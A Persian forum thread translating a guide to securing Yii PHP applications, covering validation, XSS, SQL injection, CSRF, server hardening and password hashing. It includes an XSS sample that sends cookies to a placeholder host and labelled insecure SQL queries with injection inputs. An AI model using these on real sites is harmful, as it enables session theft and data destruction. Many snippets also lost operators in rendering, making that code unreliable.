• 2 رای - 5 میانگین
  • 1
  • 2
  • 3
  • 4
  • 5
چگونه یک برنامه امن در Yii بنویسیم
#1
سلام به همه دوستان این مقاله How to write secure Yii applications خیلی خوب بود ترجمه کردم و اینجا قرار دادم درصورتی که تو متن ترجمه شده مشکلی دیدین بگید تا اصلاح کنم ممنون از این که میخونیدش .
توجه : در این مقاله فقط تلاش بر این است که نکات امنیتی به صورت کامل تشریح شود ، لطفا کل مقاله را صبورانه مطالعه کنید ، تنها به این مقاله اتکا نکنید و مقاله های امنیتی دیگر را هم مطالعه کنید
مطالب اصلی
1-معتبر سازی user input ها
2-محافظت از خروجی ها ی برنامه در طول ایجاد آنها ( جلوتر به تعدادی از آنها که بیشتر به صورت MYSQL و HTML هستند اشاره می شود)
3-تست کردن برنامه شما در حالت debug mode.
4-ست کردن YII_DEBUG (به صورت پیش فرض این مقدار در فایل Index.php تعریف شده است ) و در کنار error_reporting(E_ALL); قرار دادن آن که با این کار خطاها روند اجرای برنامه را متوقف می کنند و Yii پیام های اخطار مربوطه را نمایش خواهد داد. ، حتی key های تعریف نشده در آرایه ها هم (E_NOTICE) می تواند مشکلات امنیتی داشته باشند.
5-غیر فعال کردن debug mode در برنامه نهایی (مطمئن شدن از این که پیام های خطای نمایش داده شده هیچ گونه نقطه ضعف امنیتی در برنامه ایجاد نمیکند).
6-هر زمانی که لازم باشد از While-list به جای Black-list استفاده شود . فقط به داده هایی که مجاز هستند اجازه لیست شدن بدهید.
7-در برنامه خود error Log داشته باشید و آنها را به صورت مرتب چک کنید تا از خطاهای رخ داده شده در برنامه مطلع شوید.(دو نوع log وجود دارد : application logs که توسط خود Yii مدیریت میشود. و server logs که توسط PHP و معمولا Apache مدیریت میشوند.Yii Log در The Definitive Guide to Yii, Loggingتوضیح داده شده است . PHP Log به صورت پیش فرض استفاده میشود. لطفا تنظیمات سرور خود را برای این منظور چک کنید.
Validating the user input
چگونه کار میکند
برای مثال :
وقتی یک کاربر اطلاعات تاریخ تولد خود را در سیستم وارد می کند شما باید از صحت آن مطلع شوید ، تنها چک کردن اطلاعات ورودی به صورت عدد کافی نیست تنها چک کردن فرمت تاریخ نمیتواند کافی باشد زیرا ممکن است در صورت حمله پایگاه داده و کدهای شما در معرض خطر باشند.
Client-side validation
Validation با استفاده از کدهای جاوا اسکریپت آسیبی به امنیت شما نمیزند میتوان تنها مزیت آن را در راحتی استفاده و زیبا تر شدن رابط کاربری دانست.
برای مثال اگر فرمی به شکل زیر داشته باشیم :
کد پی‌اچ‌پی:
<input type="hidden" name="id" value="1" />
<
input type="text" name="date" size="10" />
<
select name="list"><option>1</option><option>2</option></select
داده های که توسط PHP دریافت میشوند می تواند هر چیزی باشد "id", "date" ، "list"می توانند هر کدام رشته های بزرگی باشند یا حتی یک آرایه برای مثال : کاربر Source صفحه را تغییر داده و هر دوفیلد را یا textarea جایگزین کند.
Yii چگونه میتواند به ما کمک کند.
Yii روشهای خاصی را فراهم میکند که میتواند جایگزین روشهای معمول و شاید طولانی PHP شود. برای نمونه در صورتی که نخواهید از Yii استفاده کنید روش معمولی که وجود دارد type casts و Filter extension می باشد.
Validating توسط model
بیشتر مواقع ورودی های کاربران به مدل های فرستاده میشوند. در yii مدل ها را از CfromModel یا CActiveRecord ، Extend می کنیم که هر دوی آنها از کلاس CModel مشتق میشوند. این کلاس دارای یک متد به نام rules است که در آن validation ها تعریف میشوند. میتوانید با استفاده از متد BeforValidation شرایط بیشتری برای validation ایجاد کنید به مثال زیر دقت کنید :
Controller
کد پی‌اچ‌پی:
<?php
// In the controller
$model = new Comment;
$model->attributes $_POST['Comment'];
if (
$model->save()) { // validates and save
    
$this->redirect(array('view''id' => $model->id));
} else {
    
// Could not validate, or could not save

Model
کد پی‌اچ‌پی:
<?php
// In the model
class Comment extends CActiveRecord
{
    public function 
rules()
    {
        return array(
            array(
'parent''numerical''integerOnly' => true),
            array(
'strangedata''customValidateForStrangedata'),
            array(
'description''length''max' => 255),
        );
    }
 
    
// extended validation, run before the rules set above
    
protected function beforeValidate()
        if (!empty(
$this->description) && substr_count($this->description'"') % !== 0) {
            
$this->addError("description""Odd number of quotes");
            
// return false; // stop validation
        
}
        return 
parent::beforeValidate();
    }
 
    
/** @return boolean Continue the validation process? */
    
protected function customValidateForStrangedata($attribute$params)
    {
        
$this->addError($attribute"validation failed");
        return 
false;
    } 
باید دقت بیشتری در validation داشته باشید ، چون باعث مرتب بودن ویا اصطلاحا تمیز ماندن داده های شما میشود و تنها برای امنیت کدهای شما نیست . rule های زیادی در این فریمورک تعریف شده اند و میتوانید از آنها استفاده کنید ، میتوانید rule های بیشتری به کدهای خود اضافه کنید و حتی میتوانید از rule های خاصی برای قسمت های خاص استفاده کنید برای مثال یک فیلد را در بخش update استفاده کنید و از آن در متد insert استفاده نکنید .
برای اطلاعات بیشتر به لینک های زیر مراجعه کنید
• The Definitive Guide to Yii 1.1: Form Models, declaring validation rules
• The Definitive Guide to Yii 1.1: Active Record, data validation
• Wiki: Reference: Model rules validation
• API: CModel
Yii 1.1 validator cheat-sheet
Validation در کنترلرها
بعضی از user input های ساده را میتوانید در داخل کنترلر validate کنید برای مثال میتوانید از PHP type cast ها استفاده کنید . به مثال زیر توجه کنید.
<?php
// insecure (see below for restrictions)
$model = Post::model()->findByPk($_GET['id']);
// secure
$model = Post::model()->findByPk((int) $_GET['id']);
اگر ورودی مقدار int نباشد validation توسط model اعمال میشود.
درواقع Yii هم به شما کمک میکند در مثال بالا متد findByPk() از الگوی داده ای شما در پایگاه داده استفاده کرده و مطمئن میشود شما یک مقدار داده ای عددی به آن پاس داده اید . برای اطلاعات بیشتر به SQL Injection مراجعه کنید. تا اینجا روشهایی برای validate کردن میبینید که به صورت خودکار در yii اعمال میشوند ولی نمیتوان گفت که کافی هستند . اگر یه کاربر مخرب اقدام به ورود ورودی مانند comment/delete?id[]=2\&id[]=1? Then $_GET['id'] کندکه باعث ایجاد یک آرایه شود و اگر این ورودی validate نشود تاثیر بدی خواهد داشت و باعث ایجاد یه نقض امنیتی خواهد شد (اما نه در findByPk).
خروجی های HTML وXSS
برنامه شما قصد دارد یک ورودی که از کابر دریافت کرده است را در داخل کدهای Html چاپ کند و اگر این ورودی توسط برنامه فیلتر نشود یا validate نشود آنگاه کاربر مخرب باعث تغییر شکل ظاهری برنامه شما خواهد شد در این صورت کاربر مخرب کدهایی را به برنامه اصلی شما تزریق میکند (معمولا کدهای جاوا اسکریپت) که توسط کاربران عادی دیگر هم قابل روئیت و اجرا هستند . توسط این کار که به آن حمله های XSS میگویند میتوان اطلاعات کاربران دیگر را مورد حمله قرار داد. به مثال زیر توجه کنید
این صفحه برای نمایش پروفایل کابر نوشته شده است
کد پی‌اچ‌پی:
<h2>Profile of <?php echo $user->name ?></h2>
Other unfiltered and unsecure outputs:
<a href="/posts?name=<?php echo $user->login ?>"
   title='<?php echo $user->name ?>'>See my posts</a> 

حالا کجا نکته امنیتی وجود دارد ؟ فزض کنید نام کاربر هست :
کد پی‌اچ‌پی:
Joe<script>document.write('<img src="http://x.com/save.php?cookie='+getCookie()+'" />');function getCookie(){...}</script
هر کسی که به آن مراجعه کند یک درخواست به HTTP برای یک تصویر به سرور ارسال خواهد کرد در نتیجه این درخواست محتوای کوکی های کاربر میباشد . به این روش از حمله XSS میگویند.
PHP توابع زیادی برای حفاظت از خروجی ها دارد که یکی از پرکاربردترین آنها htmlspecialchars() است ولی در مثال پایین rawurlencode() و htmlspecialchars(, ENT_QUOTES) با هم دیگر مهم هستند.
حالا Yii چه کمکی در این ضمینه به ما می کند
ساده سازی متن ها
اگر شما قصد استفاده از یک متن ساده در صفحات HTML خود دارید از CHtml::encode(). استفاده کنید به عنوان مثال :
کد پی‌اچ‌پی:
<h2>Profile of <?php echo CHtml::encode($user->name?></h2> 
در صورتی که نوع نوشتاری شما هنوز UTF-8 نیست میتوانید با تعریف آن در فایل کانفیگ protected/config/main.php تنظیمات مربوطه را اعمال کنید.
شاید شما بخواهید از strip_tags() برای حذف تگ های HTML/XML خود استفاده کنید توجه کنید که این تابع امنیت لازم را نداشته و باید از CHtml::encode(). استفاده کنید.
اگر در برنامه خود میخواهید به کاربر اجازه ورود کدهای HTML دهید و آنها را به صورت خام نمایش دهید باید کدهای HTML را فیلتر کنید سعی نکنید که خودتان آنها را فیلتر کنید کتابخانه های متعددی در این مورد وجود دارد معروف ترین آنها Html Purifier که در داخل Yii هم گنجانده شده است برای کسب اطلاعات بیشتر به Security, XSS مراجعه کنید
کد پی‌اچ‌پی:
<li class="comments">
<?
php
$purifier 
= new CHtmlPurifier();
$purifier->options = array(
    
'HTML.Allowed' => 'p,a[href],b,i',
);
foreach (
Comment::model()->findAll() as $comment) {
    
// This can be dangerous
    //echo "<li>" . $comment->text . "</li>\n";
 
    // Safe output (but slow)
    
echo "<li>" $purifier->purify($comment->text) . "</li>\n";
}
?>
</li> 
اجازه دادن به کاربر برای وارد کردن کدهای HTML میتواند مفید باشد مخصوصا با استفاده از ادیتورهای خوبی مانند TinyMCE یا CkEditor ولی شاید شما بخواهید با روش های مختلفی آنها را فرمت کنید مانند Markdown یا wiki با درنظر گرفتن امنیت بهتر است ورودیهای خود را به HTML تبدیل کنید با این کار ریسک XSS کمتر خواهد شد.
کد پی‌اچ‌پی:
<div class="comment">
<?
php
$md 
= new CMarkdownParser();
echo 
"<div>" $md->transform($comment) . "</div>";
?>
</div> 
برای کسب اطلاعات بیشتر به آدرس های زیر مراجعه کنید
HTML Purifier's doc. The end-user documentation contains a few thematic tutorials, like "Customize". The Configuration Reference lists all the options you can use with CHtml:Tongueurifier but it lacks examples.
CMarkdown and CMarkdownParser
در شرایط ویژه URLs , Css و ...
برای escape کردن Url های خود
از rawUrlEncode() برای بخشهای عمده Url ها
و از urlEncode() برای پارامترهای url ها استفاده کنید.
در زیر مثالی برای شرایط مختلف جاوا اسکریپت و HTML وجود دارد
کد پی‌اچ‌پی:
<script>var "http://x.com/<?php echo rawUrlEncode($query) ?>"; </script>
<
a href="/search/<?php echo rawUrlEncode($query)) ?>">Escape url parts</a>
<
a href="/?param=<?php echo urlEncode($param) ?>">Escape URL parameters</a>
<
a href="<?php echo CHtml::encode($url . "&param=" . urlEncode($param)) ?>">Escape whole URLs</a
شما از CHtml::encode() در اینجا نمیتوانید استفاده کنید زیرا خروجی اشتباهی تولید میکند. برای مثال در $query = '?x="N & B"' این تابع CHtml::encode() نمیتواند حذف شود تا زمانی که ampersands "&" باید با "&amp;" جایگزین شود .
CSS
از Html Purifier استفاده کنید به بخش Rich text (HTML) مراجعه کنید.
جاوا اسکریپت
اگر در برنامه نیاز به نوشتن کدهای PHP در داخل جاوااسکریپت از CJavaScript استفاده کنید.
کد پی‌اچ‌پی:
<?php
$messages 
= array("Rock'n roll"'Say "hello"');
$title "D'accord";
Yii::app()->clientScript->registerScript('snippet'"
function displayMsg() {
    var messages = " 
CJavaScript::encode($messages) . ";
    var title = '" 
CJavaScript::quote($title) . "';
    // ...
}
"
); 
SQL Injection
وقتی ورودی های کاربر را بدون فیلتر کردن به صورت مستقیم در داخل کوئری های خود قرار دهیم حمله sql injection غیر قابل پیشگیری خواهد بود و کاربر مخرب کدهای sql خود را به پایگاه داده ارسال خواهد کرد
کد پی‌اچ‌پی:
<?php
// warning, dangerous code
Yii::app()->db
    
->createCommand("DELETE FROM mytable WHERE id = " $_GET['id'])
    ->
execute();
$comments Comment::model->findAll("user_id = " $_GET['id']); 

ا
گر در درخواست GET پارامتر Id برابر با 4 تا به صورت 1=1 باشد در این صورت اگر کسی قصد حذف کردن comment با شماره 4 باشد میتوان گفت که قادر به حذف کردن کل comment های شما خواهد بود ( بستگی به نحوه ی کارکرد authorization شما دارد ) .
در درخواست دوم امکان خواندن کل اطلاعات دیتابیس شما وجود دارد البته با وارد کردن دستوری مانند 2 UNION SELECT ... .
Yii چگونه میتواند به ما در این ضمینه کمک کند.
از PHP به جای دستورات خام sql استفاده کنید
کد پی‌اچ‌پی:
<?php
// still lacks validation (see "Validating user input" above), but more secure
MyModel::model()->findByPk($_GET['id'])->delete();
// uses validation with a type cast
$comments Comment::model->findAllByAttributes(array('user_id' => (int)$_GET['id']); 
این یک قاعده کلی است . اگر شما شرط های sql خود را از روی ورودی های text ایجاد میکنید باعث ایجاد ریسک بالایی در برنامه خود میشوید. برا بیشتر توابع خود در مدل ها از مقدارهای داده ای آرایه ای به جای داده ای string استفاده کنید به مثال زیر توجه کنید.
کد پی‌اچ‌پی:
<?php
// warning: potential sql injection
$comments Comment::model->findAll("post_id = $postId AND author_id IN (" join(','$ids) . ")");
// secure (note how an array value is gives a "IN" since Yii
$comments Comment::model->findAllByAttributes(array("post_id" => $postId"author_id" => $ids)); 
در صورتی که واقعا لازم به نوشتن یک کد sql هستید به نکات زیر توجه کنید:
Query زیر دو پارامتر را دریافت میکند
کد پی‌اچ‌پی:
SELECT CONCAT(prefixtitle) AS titleauthor_idpost_idsubmit_date
  FROM t_comment
  WHERE 
(date '{$date}' OR date IS NULL) AND title LIKE '%{$text}%' 

دو روش برای برقراری امنیت در اینجا وجود دارد.
1 -Escape کردن تک تک پارامترها که توصیه نمیشود .
2-استفاده از دستورات آماده (prepared statement ) توصیه میشود از این روش استفاده کنید.
اگر لازم به Escape کردن تک تک پارامترها دارید از CDbConnection::quoteValue() استفاده کنید. برای مثال :
کد پی‌اچ‌پی:
date '{$date}'" would become "date " . Yii::app()->db->quoteValue($date). 
دستورات آماده (prepared statement ) روشی برای تعریف پارامترها در کد های SQL است البته به تنظیمات شما هم بستگی دارد . query هایی که کامل نیستند توسط SQL Server کامل میشوند بعد مقدارهای داده شده در جاهای خود قرار میگیرند دستورات آماده (prepared statement ) هر گونه نفوذ از روش تزریق sql را در پارامتر ها از بین میبرد . به مثال زیر توجه کنید :
کد پی‌اچ‌پی:
<?php
// Note the parameters are written :param without surrounding quotes
$sql "SELECT CONCAT(prefix, title) AS title, author_id, post_id, date "
    
"FROM t_comment "
    
"WHERE (date > :date OR date IS NULL) AND title LIKE :text"
 
// 1st way, using explicit binds
$command Yii::app()->db->createCommand($sql);
$command->bindParam(":date"$datePDO::PARAM_STR);
$command->bindParam(":text""%{$text}%"PDO::PARAM_STR);
$results $command->execute();
 
// second way
$command Yii::app()->db->createCommand($sql);
$results $command->execute(array(':date' => $date':text' => "%{$text}%")); 

ا
ستفاده از دستورات آماده (prepared statement ) کمی کندتر از استفاده نکردن از آنها است البته شاید کارایی برنامه شما را پایین نیاورد البته اگر شما به صورت مکرر از دستورات آماده (prepared statement ) در query های خود استفاده کنید باعث افزایش سرعت آنها هم میشود.پس درنتیجه دستورات آماده (prepared statement ) سریعتر هم هستند .
چه زمانی استفاده از دستورات آماده (prepared statement ) ها کافی نیستند :
همانطوری که در زیر میبینید دستورات آماده (prepared statement ) هرگونه ریسک تزریق sql را حذف میکند اما شرایطی وجود که شما میخواهید از پارامتر ها در query ها استفاده کنید ولی نتوانید از دستورات آماده (prepared statement ) برای این منظور بهره بگیرید
کد پی‌اچ‌پی:
SELECT *
  
FROM {$mytable}
  
WHERE {$myfieldLIKE '{$value}%' AND post_date < {$date}
  
ORDER BY {$myfield}
  
LIMIT {$mylimit
یک روش که بصورت فراوان برای این کار استفاده میشود ، استفاده از white-lists است ولی Yii با به کمک شما آمده و روشی را برای این کار دارد پس شما باید به روش زیر عمل کنید
کد پی‌اچ‌پی:
[align=right][align=right]<?php
if (!Comment::model()->hasAttribute($myfield)) {
    die(
"Error");
}[/
align][/align
یک روش برای ایجاد query های امن استفاده از Query Builder است که از نسخه Yii 1.1.6. به بعد در این فریم ورک وجود دارد . این روش با استفاده از کد های PHP نوشته میشود . این روش با کدهای خام sql و CDbCriteria قابل تلفیق نیست .برای اطلاعات بیشتر به Query Builderمراجعه کنید .
بیشتر مواقع نتیجه های لازم از model ها گرفته میشوند .برای این کار از متد های find*() همراه با CDbCriteria برای ایجاد یک query استفاده میشود. برای مثال :
کد پی‌اچ‌پی:
<?php
// Yii applies some validity checks when the query is not raw SQL
$criteria = new CDbCriteria(
    array(
        
'order' => $myfield,
        
'limit' => $mylimit,
    )
);
$criteria->compare($myfield$valuetrue); // LIKE % escaped($value) %
$criteria->compare('post_date''<:date');
$criteria->params = array(':value' => $value':date' => $date);
$comments Comment::model()->findAll($criteria
استفاده از این روش در زمانی که شما قصد استفاده از CGridView را دارید خیلی مفید خواهد بود و لازم نیست که شما توجه زیادی به ورودی های کاربر داشته باشید. برای اینکه توضیحات کافی داده باشیم به مثال زیر توجه کنید
کد پی‌اچ‌پی:
<?php
// Yii applies some validity checks when the query is not raw SQL
$criteria = new CDbCriteria();
$criteria->order $myfield;
$criteria->limit $mylimit;
$criteria->addSearchCondition($myfield$valuetrue); // true ==> LIKE '%...%'
$criteria->addCondition("post_date < :date");
$comments Comment::model()->findAll($criteria, array(':value' => $value':date' => $date)); 
خلاصه ای از تزیرق SQL (SQL Injection )
در لیست پایین ، اولین انتخاب امن ترین انتخاب است ، "البته مفهوم آن این نیست که قبلا امن نبود "
وقتی که نتیجه ها از model ها بدست می آیند اولین آیتمی را انتخاب کنید که به دنبال آن میگردید یا با لیست شما مطابقت دارد.
1. CActiveRecord::findByPk() or CActiveRecord::findAllByPk()()
2. CActiveRecord::findByAttributes() or CActiveRecord::findAllByAttributes
3. X::model()->find($criteria, array(':param1' => $value1)) or ->findAll(...)
4. X::model()->find($sql, array(':param1' => $value1)) or ->findAll(...)
5. X::model()->findBySql($sql, array(':param1' => $value1)) or ->findAll(...)

وقتی که نتیجه های لازم از model ها نباشند از دستورات آماده (prepared statement ) استفاده کنید
کد پی‌اچ‌پی:
<?php
$r 
Yii::app()->db
    
->createCommand($sql)
    ->
queryAll(array(':param1' => $value1)); 

و هرگز فراموش نکنید که ورودی های خود را اول validate کنید
Cross- side Request Forgery (جعل صفحات اصلی و استفاده از صفحات جعلی )
مراجعه کنید حتماThe Definitive Guide to Yii, CSRF
حتما دقت کنید درخواست هایی که باعث تغییراتی در سمت سرور شما میشوند (create, update, delete) باید از نوع درخواست POST باشند . ولی درخواست POST به تنهایی از CSRF جلوگیری نمیکند درواقع هیچ گونه امنیتی را تضمین نمیکند خوشبختانه Yii مکانیزمی برای این منظور دارد که شما میتوانید آن را فعال یا غیر فعال کنید .
تنظیمات Web Server
در این بخش فقط به سرورهای UNIX (Linux, BSD, OSX) و وب سرور Apache همراه با PHP میپردازیم تنظیمات دیگر (Windows, nginx, PHP-fpm,) شاید روشهای دیگری دارند ولی در کل اصول پایه یکی است .
راه اندازی محیط های مختلف
وقتی که فریمورک Yii اجرا میشود البته با مقداردهی true به ثابت YII_DEBUG میتواند اطلاعات با ارزشی را به کاربر خرابکار بدهد .برای مثال فرض کنید یک کاربر که قصد حمله به برنامه شما دارد یک یک نقطه ضعف امنیتی در validation های شما پیدا کرده است . وقتی یک فرم جعلی اقدام به ارسال اطلاعات از نوع آرایه میکند تابعی که نوشته اید مقدار اشتباهی را دریافت میکند در حال Debug فریمورک Yii call stack را به نمایش درخواهد آورد با محتوای هر کدام از داده ها.
متاسفانه Debug Mode هم به صورت پیش فرض در داخل فایل index.php قرار دارد ، بنابراین کدهای شما زمانی که اجرا میشوند یا تست میشوند یا حتی کلاس ها از هم مشتق میشوند تغییر پیدا میکنند یک راه حل استفاده از DVCS برای پیگیری یا دنبال کردن تغییرات است تنها مشکل اینجاست که تنظیمات به صورت مکرر به صورت محلی مدیریت میشوند .
راه حل پیشنهادی rewrite کردن فایل index.php است
از یک فایل خارجی استفاده کنیم
یا از web Server کمک بگیریم
در Apache از فایل .htaccess استفاده میکنیم
SetEnv YII_ENV testing

میتوان در تنظیمات سراسری (در VirtualHost ها یا پوشه ها ) از آن استفاده کرد. یا در داخل فایل .htaccess استفاده کرد. در php میتوان با استفاده از $_SERVER["YII_ENV"] به آن دسترسی داشت .
در برنامه های Yii
پوشه ای که حاوی فایل های فریمورک است نباید در داخل شاخه اصلی باشند ( هیچ دلیلی وجود ندار د که کاربر به فایل yiilite.php در داخل مرورگر خود دسترسی داشته باشد ) . 3 پوشه باید توسط web server قابل نوشتن باشند "assets", "protected/data" و "protected/runtime". . web Server فقط باید قادر به خواندن دیگر فایل ها باشد . در این صورت کابری که قصد حمله دارد فقط قادر به خواندن و نوشتن در این پوشه ها است ("assets", "protected/data" و "protected/runtime". ) . پوشه assets زمانی که دسترسی نوشتن دارد خطرناک است و از طریق HTTP دسترسی مستقیم دارد . فایل های PHP که در این پوشه هستند نباید تفسیر شوند در زیر به توضیحات این مورد دقت کنید !
Application ای که به صورت تعریف شده در yii وجود دارد به صورت پیشفرض حاوی فایل .htaccess است که به صورت مستقیم مانع دسترسی به protected/" and "themes/classic/views/". میشود. در مثال زیر فایل های PHP در پوشه assets/ غیر فعال شده اند
کد پی‌اچ‌پی:
[apache]
# Example config for Yii-myapp and Apache
# Please set the pathes to their right values

# put the application in some custom url
# (instead of an Apache alias, a symbolic link can be used)
Alias /web/path/for/myapp "/home/myapp/www"

<Directory "/home/myapp/www">
    
AllowOverride None
</Directory>

<
Directory "/home/myapp/www/protected">
    
Deny from All
</Directory>

<
Directory "/home/myapp/www/assets">
    
php_admin_flag engine off
    Options 
-Indexes
</Directory
به جای تنظیمات قبلی در اینجا مثالی میبینید که برنامه ایجاد شده توسط Yii در یک virtual Host قرار داده شده است هر کدام از دستورات نوشته شده دارای توضیحات مربوط به خود هستند
کد پی‌اچ‌پی:
[apache]
# Example config for Yii-myapp as an Apache VirtualHost
# Please set the paths and the host name to their right values

<VirtualHost *:80>
    
ServerName myapp.com
    DocumentRootAlias 
/home/myapp/www

    ErrorLog 
/var/log/apache2/myapp-error.log
    CustomLog 
/var/log/apache2/myapp-access.log common

    
<Directory "/home/myapp/www">
        
Options +FollowSymLinks
        
# These 2 lines are useless with modern PHP
        
php_flag register_globals Off
        php_flag gpc_magic_quotes Off
        
# Forbid .htaccess to change settings
        
AllowOverride None

        
<IfModule mod_rewrite.c>
            
# The following block is for masking "index.php" in the url
            # To enable it, configure the app: urlManager.showScriptName = false
            
IndexIgnore */*
            RewriteEngine on
            RewriteCond %{REQUEST_FILENAME} !-f
            RewriteCond %{REQUEST_FILENAME} !-d
            RewriteRule . index.php
        </IfModule>
    </Directory>

    # Forbid direct access to this directory
    <Directory "/home/myapp/www/protected">
        Deny from All
    </Directory>

    # protect several non-PHP directories
    <DirectoryMatch "/home/myapp/www/(assets|css|images|js)$">
        # Forbid execution of PHP scripts
        php_admin_flag engine off
        # Forbid listing of files
        Options -Indexes
    </DirectoryMatch>
</VirtualHost> 

چند مورد کاربری و نکته های مهم که باید در هر برنامه PHP رعایت شوند
allow_url_include باید غیر فعال شود (PHP 5.2)
register_globals خیلی مهم و خطرناک است حتما غیر فعال شود
magic_quotes_gpc برای بیشتر پروژه هامهم است که غیر فعال باشد ولی Yii اثر آن را خنثی کرده است
open_basedir میتواند دسترسی PHP رابرای بعضی از پوشه های محدود کند ، با احتیاط از آن استفاده کنید .
display_errors در برنامه پایانی یعنی زمانی که پروژه آماده تحویل است غیر فعال شود
error_reporting حداقل از E_ERRORS استفاده کنید برای اطلاعات بیشتر به official documentation مراجعه کنید.
همه ی دستورات را میتوانید در داخل php.ini مقدار دهی کنید . اگر در apache گزینه AllowOverride فعال باشد از .htaccess استفاده کنید .
کد پی‌اچ‌پی:
[apache]
# .htaccess file
php_flag display_errors off
php_value error_reporting 
-

میتوانید از php_admin_flag و php_admin_flag برای مقدار دهی پرارمترها که به صورت Dynamic میتوان تغییر پیدا کنند در .htaccess یا ini_set() استفاده کنید . مثالی در این ضمینه :
کد پی‌اچ‌پی:
[apache]
# Apache config file
<Directory "/var/www/myapp">
    
php_admin_value open_basedir /var/www/myapp/:/tmp/
</
Directory
SSL را نمیتوان در این بخش توضیح داد .
Authorization
Authorization به معنی مطمئن شدن از یک کاربر به منظور دسترسی به بخشهایی است که قبلا برای کاربر مربوطه تعیین دشده است . درواقع Authorization یه موضوع طولانی است . فریمورک Yii کلاسهای مفید زیادی را برای مدیریت role ها و سطح دسترسی ها فراهم کرده است.برای یادگیری Authorization در yii لطفا Access Control Filter برای Using Business Rules را مطالعه کنید . منبع مفید دیگر در Getting to Understand Hierarchical RBAC Scheme وجود دارد برای تمرین بیشتر بهCPhpAuthManager - how it works مراجعه کنید . البته افزونه های زیادی هم در این مبحث وجو دارد که several extensions that می توانید پیدا کنید.
Authentication
امنیت Password
یک validation قوی باید هرگونه پسورد ضعیت را رد کند نوشتن یک validation کار آسانی است فقط کافی است که تعداد کاراکتر ها را بررسی کنید و نیز کاراکترهای وارد شده و نوع آنها را حتی میتوانید از راه حل های آماده مانند افزونه epasswordstrength بهره بگیرید.
کد پی‌اچ‌پی:
<?php
class User extends CActiveRecord
{
    public function 
rules()
    {
        return array(
            array(
'password''checkPasswordStrength'),
        );
    }
 
    protected function 
checkPasswordStrength($attribute$params)
    {
        
$password $this->$attribute;
        
$valid true;
        
$valid $valid && preg_match('/[0-9]/'$password); // digit
        
$valid $valid && preg_match('/\W/'$password); // non-alphanum
        // ... other rules ...
        
$valid $valid && (strlen($password) > 7); // min size
        
if ($valid) {
            return 
true;
        } else {
            
$this->addError($attribute"Not secure enough");
            return 
false;
        }
    } 

استفاده ازvalidation ها در client-side توسط جاوااسکریپت می تواند مفید باشد . نقطه قوت آن این است که کاربر خیلی سریع میتواند به اشتباه خود پی برده و ورودی مورد نظر را تصحیح کند ولی هرگز فراموش نکنید که client-side ، validation هرگز نمیتواند جایگزین php ، validation باشد در حقیقت ای عمل میتواند کمی کار را سخت تر کند زیرا validation که با استفاده از جاوااسکریپت اعمال میکنید مانند همانی است که در php اعمال میکنید.
Encrypting password
در صورتی که پروسه authentication به صورتی داخلی باشد مطمعنا شما نباید به صورت یک متن معمولی ذخیره شود. بهترین و ساده ترین روش استفاده از کتابخانه های آماده و مشهوری مانند PHPass است این روش خیلی راحتر و ساده تر از model کاربر است.
کد پی‌اچ‌پی:
?php
// autoload "protected/lib/PasswordHash.php"
Yii::import('application.lib.PasswordHash');
 
class 
User extends CActiveRecord
{
    public function 
validatePassword($password// $password is the user input
    
{
        
// Try to use stronger but system-specific hashes, with a possible fallback to
        // the weaker portable hashes.
        
$hasher = new PasswordHash(8FALSE);
        return 
$hasher->checkPassword($password$this->password);
    }
 
    public function 
beforeSave()
    {
        
// Replace the raw password with the hashed one
        
if (isset($this->password)) {
            
$hasher = new PasswordHash(8FALSE);
            
$this->password $hasher->HashPassword($this->password);
        }
        return 
parent::beforeSave();
    } 
انتخاب یک اگوریتم خوب برای Encrypting کاری است که PHPass انجام میدهد.
ابزارهای مفید
ابزارهای زیادی برای این که امنیت پسوردهای شما بالا برود وجود دارد.
Skipfish :دارای یک داکیومنت قوی ، قدرتمند و ساده .
Nikto : یکی از مشهورترین ها در این ضمینه .
W3af, Web Application Attack and Audit Framework : یک پکیج از ابزارهای امنیتی یا رابط کاربری خوب هر دو مورید CLI وGUL را دارا میباشد.
RatProxy : یک ابزار منبع باز که ترافیک برنامه را کنترل کرده و حفره های امنیتی را نمایش میدهد.
If you good at something never do it fo free
  پاسخ
تشکر شده توسط : shgninc masato mehdints
#2
ممنون از ترجمتون.Idea
سالهــــا مـــــى گــــــذرد، حادثه ها مى آید
انتظـــــار فـــــــرج از نیمـــــه خــــــرداد کشم

[عکس: ShowPicture.aspx?ID=52750d12-5d92-4286-9...height=100]
  پاسخ
تشکر شده توسط : behrooz_heyhu
#3
بسیار عالی ممنون ...
  پاسخ
تشکر شده توسط : behrooz_heyhu


پرش به انجمن:


کاربران در حال بازدید این موضوع: 1 مهمان